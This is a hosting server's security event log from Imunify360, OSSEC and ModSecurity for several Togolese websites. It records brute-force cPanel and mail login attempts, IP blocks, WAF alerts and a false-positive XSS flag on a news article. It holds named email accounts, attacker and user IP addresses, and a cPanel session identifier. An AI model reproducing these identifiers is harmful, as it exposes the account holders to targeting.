IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/07/IMG_20210721_160424_062.jpg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.65.83.28
country_id: 6252001
description:
[2026-06-22 16:37:04 +0000] info [cpaneld] 75.65.83.28 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.2.179.100
country_id: 7626836
description:
[2026-06-22 16:37:35 +0000] info [cpaneld] 186.2.179.100 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.198.190.213
country_id: 6252001
description:
2026-06-22 16:39:30 dovecot_login authenticator failed for H=(localhost.localdomain) [143.198.190.213]:24246: 535 Incorrect authentication data (set_id=kiran@libertetogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.190.213
country_id: 6252001
description:
Jun 22 16:39:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.190.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.144.107.191
country_id: 3469034
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/etats-generaux-de-lassurance-automobile-au-togo HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:42:04 +0000] info [cpaneld] 141.95.93.31 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:42:28 +0000] info [cpaneld] 141.95.93.31 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.213.14.52
country_id: 1643084
description:
140.213.14.52 - - [22/Jun/2026:16:43:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274404&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146586 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 12; Redmi Note 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.213.14.52


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:43:35 +0000] info [cpaneld] 141.95.93.31 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.189.184.204
country_id: 337996
description:
196.189.184.204 - - [22/Jun/2026:16:44:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10011285&pdata=https%253A%252F%252Fwebmail.batika.free.netmaster.tg%252F%253Flocale%253Dru&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146654 HTTP/2.0" 302 0 webmail.batika.free.netmaster.tg "https://webmail.batika.free.netmaster.tg/?locale=ru" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.189.184.204


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:44:35 +0000] info [cpaneld] 141.95.93.31 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.42.0.18
country_id: 3658394
description:
186.42.0.18 - - [22/Jun/2026:16:45:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039079&pdata=https%253A%252F%252Fmacite.tg%252F2023%252F07%252F28%252Fvie-de-couple-voici-la-position-sexuelle-la-plus-dangereuse-au-monde%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146752 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2023/07/28/vie-de-couple-voici-la-position-sexuelle-la-plus-dangereuse-au-monde/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.6776.1361 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.42.0.18


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:46:28 +0000] info [cpaneld] 141.95.93.31 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 111.67.102.112
country_id: 1831722
description:
111.67.102.112 - - [22/Jun/2026:16:47:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724196&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146820 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:111.67.102.112


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.12.171.152
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221206-WA0171-1024x768.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221206-WA0171-300x225.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221206-WA0171-768x576.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221206-WA0171.jpg 1080w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:47:51 +0000] info [cpaneld] 141.95.93.31 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:16:48:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13409136&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146928 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:16:48:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932585&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146930 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.5.68.110
country_id: 3469034
description:
191.5.68.110 - - [22/Jun/2026:16:49:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725793&pdata=https%253A%252F%252Fcpanel.mpa-maquette.free.netmaster.tg%252F%253Flocale%253Dpt&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146995 HTTP/2.0" 302 0 cpanel.mpa-maquette.free.netmaster.tg "https://cpanel.mpa-maquette.free.netmaster.tg/?locale=pt" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.5.68.110


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.229.136
country_id: 6252001
description:
Jun 22 16:49:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.229.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.99.229.136
country_id: 6252001
description:
2026-06-22 16:49:28 dovecot_login authenticator failed for H=(localhost.localdomain) [167.99.229.136]:51014: 535 Incorrect authentication data (set_id=knight@sodigaz.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:49:32 +0000] info [cpaneld] 141.95.93.31 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:50:45 +0000] info [cpaneld] 141.95.93.31 - pyllprbc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pyllprbc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:53:12 +0000] info [cpaneld] 141.95.93.31 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-22 16:53:47 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.57.184.20
country_id: 6252001
description:
31.57.184.20 - - [22/Jun/2026:16:53:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10326383&pdata=https%253A%252F%252Fdany2.mairie.tg%252Fwp-admin%252Fadmin.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147232 HTTP/2.0" 302 0 dany2.mairie.tg "https://dany2.mairie.tg/wp-admin/admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.57.184.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.88.38.242
country_id: 298795
description:
176.88.38.242 - - [22/Jun/2026:16:54:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120302&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffao-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147255 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/fao-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.8461.1426 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.88.38.242


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.153.138
country_id: 1819730
description:
Jun 22 16:55:08 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.153.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.138
country_id: 1819730
description:
2026-06-22 16:55:10 dovecot_login authenticator failed for H=(223-197-153-138.static.imsbiz.com) [223.197.153.138]:52968: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.209.229.158
country_id: 597427
description:
[2026-06-22 16:55:28 +0000] info [cpaneld] 80.209.229.158 NEW ifxmoxbf:6gxDtyMH0Qsq3c5f address=80.209.229.158,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.181.243.101
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@class='single-related-posts-area theme-single-post-component']/*[2][self::DIV]/*[2][self::ARTICLE]/*[1][self::DIV]/*[1][self::A]/*[1][self::IMG] HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.75.207.64
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@class='single-author-posts-area theme-single-post-component']/*[2][self::DIV]/*[3][self::ARTICLE]/*[1][self::DIV]/*[1][self::A]/*[1][self::IMG] HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.44.61
country_id: 2363686
description:
2026-06-22 16:57:59 dovecot_login authenticator failed for H=(JULES) [196.170.44.61]:8471: 535 Incorrect authentication data (set_id=j.pahounake@ese2i.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.182.74.51
country_id: 3469034
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/premiere-edition-de-la-journee-du-cat HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-22 17:00:19 +0000] info [webmaild] 196.168.0.186 - a.ajavon@wages.tg "POST /cpsess6653889065/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:59:58 +0000] info [cpaneld] 141.95.93.31 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:01:22 +0000] info [cpaneld] 141.95.93.31 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.251.146.154
country_id: 1643084
description:
180.251.146.154 - - [22/Jun/2026:17:01:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184809&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-le-developpement-a-la-base-optimise-en-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147696 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-le-developpement-a-la-base-optimise-en-2020/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.3471.1516 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.251.146.154


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.228.19.220
country_id: 6252001
description:
185.228.19.220 - - [22/Jun/2026:17:01:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7106504&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147708 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.228.19.220


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:17:04:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170410&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147856 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:17:04:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922716&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147859 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 17:03:34 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:35486: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.164.36.206
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/620758876 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:05:57 +0000] info [cpaneld] 141.95.93.31 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 141.136.63.157
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/ASIDE/*[3][self::DIV]/*[1][self::DIV]/*[1][self::FIGURE]/*[1][self::IMG] HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:06:37 +0000] info [cpaneld] 141.95.93.31 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.213.229.181
country_id: 1512440
description:
2026-06-22 17:06:37 H=([185.213.229.181]) [185.213.229.181]:30158 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.10.103.217
country_id: 1643084
description:
114.10.103.217 - - [22/Jun/2026:17:09:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986855&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782148145 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.10.103.217


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:09:27 +0000] info [cpaneld] 141.95.93.31 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.76.44.111
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/a1a2a4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:10:38 +0000] info [cpaneld] 141.95.93.31 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:12:39 +0000] info [cpaneld] 141.95.93.31 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 17:13:50 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:42046: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le togo franchit un nouveau dans la modernisation de ses infrastructures et la transition \xc3\xa9cologique. le vendredi 19 juin, le ministre de l\xe2\x80\x99am\xc3\xa9nagement du territoire et de l\xe2\x80\x99urbanisme, kodjo adedze, a officiellement inaugur\xc3\xa9 une usine de pr\xc3\xa9fabrication de tuyaux bas carbone au sein de la plateforme industrielle d\xe2\x80\x99ad\xc3\xa9tikop\xc3\xa9 (pia).</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>implant\xc3\xa9e strat\xc3\xa9giquement \xc3\xa0 ad\xc3\xa9tikop\xc3\xa9, cette nouvelle unit\xc3\xa9 de production constitue, en effet, un maillon essentiel du projet raine (r\xc3\xa9seau d\xe2\x80\x99assainissement par intercepteurs pour la non-inondation de nos espaces).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d\xc3\xa9di\xc3\xa9e \xc3\xa0 la fabrication de mat\xc3\xa9riaux \xc3\xa0 faible empreinte carbone, l'usine va fournir des \xc3\xa9quipements de pointe indispensables pour non seulement les grands r\xc3\xa9seaux d\xe2\x80\x99assainissement collectif, mais aussi pour l\xe2\x80\x99adduction d\xe2\x80\x99eau potable et les projets d\xe2\x80\x99am\xc3\xa9nagement urbain durables.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31402,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_bandeau-renseignements.jpg\" alt=\"\" class=\"wp-image-31402\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99objectif principal de l'\xc3\x89tat togolais est clair : stimuler une production locale et durable capable de r\xc3\xa9pondre aux besoins des grands chantiers nationaux, tout en r\xc3\xa9duisant drastiquement la d\xc3\xa9pendance du pays aux importations de mat\xc3\xa9riaux de construction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>des chiffres cl\xc3\xa9s impressionnants pour la premi\xc3\xa8re ann\xc3\xa9e</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'impact industriel et \xc3\xa9cologique de cette usine se mesure d\xc3\xa9j\xc3\xa0 \xc3\xa0 travers des objectifs de production massifs. lors de son allocution, le ministre en charge de l\xe2\x80\x99eau et de l'assainissement, s\xc3\xa9na alipui, a d\xc3\xa9voil\xc3\xa9 les ambitions de la premi\xc3\xa8re ann\xc3\xa9e d\xe2\x80\x99exploitation.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xc2\xab&nbsp;<em>cette infrastructure permettra de produire, d\xc3\xa8s sa premi\xc3\xa8re ann\xc3\xa9e d\xe2\x80\x99exploitation, plus de 2200 tuyaux de fon\xc3\xa7age de diam\xc3\xa8tre 2000 millim\xc3\xa8tres destin\xc3\xa9s aux intercepteurs du projet raine. plus de 1400 tonnes d\xe2\x80\x99acier y seront transform\xc3\xa9es et pr\xc3\xa8s de 10.000 m\xc3\xa8tres cubes de b\xc3\xa9ton bas carbone seront fabriqu\xc3\xa9s directement sur le site</em>&nbsp;\xc2\xbb, a-t-il expliqu\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>&nbsp;un levier \xc3\xa9conomique, social et \xc3\xa9cologique pour le togo</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 de la simple performance technique, cette usine s\xe2\x80\x99inscrit dans la vision de d\xc3\xa9veloppement inclusif port\xc3\xa9e par l\xe2\x80\x99ex\xc3\xa9cutif togolais. en favorisant le savoir-faire local, le projet va g\xc3\xa9n\xc3\xa9rer de nombreux b\xc3\xa9n\xc3\xa9fices transversaux. car, souligne-t-on, <em>\xc2\xab l\xe2\x80\x99ambition, \xc3\xa0 terme, est de consolider une industrie nationale comp\xc3\xa9titive, capable d\xe2\x80\x99accompagner les grands projets d\xe2\x80\x99am\xc3\xa9nagement, d\xe2\x80\x99assainissement et de lutte contre les inondations, tout en int\xc3\xa9grant les exigences de la transition \xc3\xa9cologique. \xc2\xbb</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"622px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:622px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>notons qu\xe2\x80\x99avec cette inauguration, le togo prouve qu'il est possible de conjuguer industrialisation rapide, lutte contre les inondations et respect des engagements climatiques. une avanc\xc3\xa9e majeure pour le bien-\xc3\xaatre des populations et la r\xc3\xa9silience urbaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mab\xc3\xa9 b.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
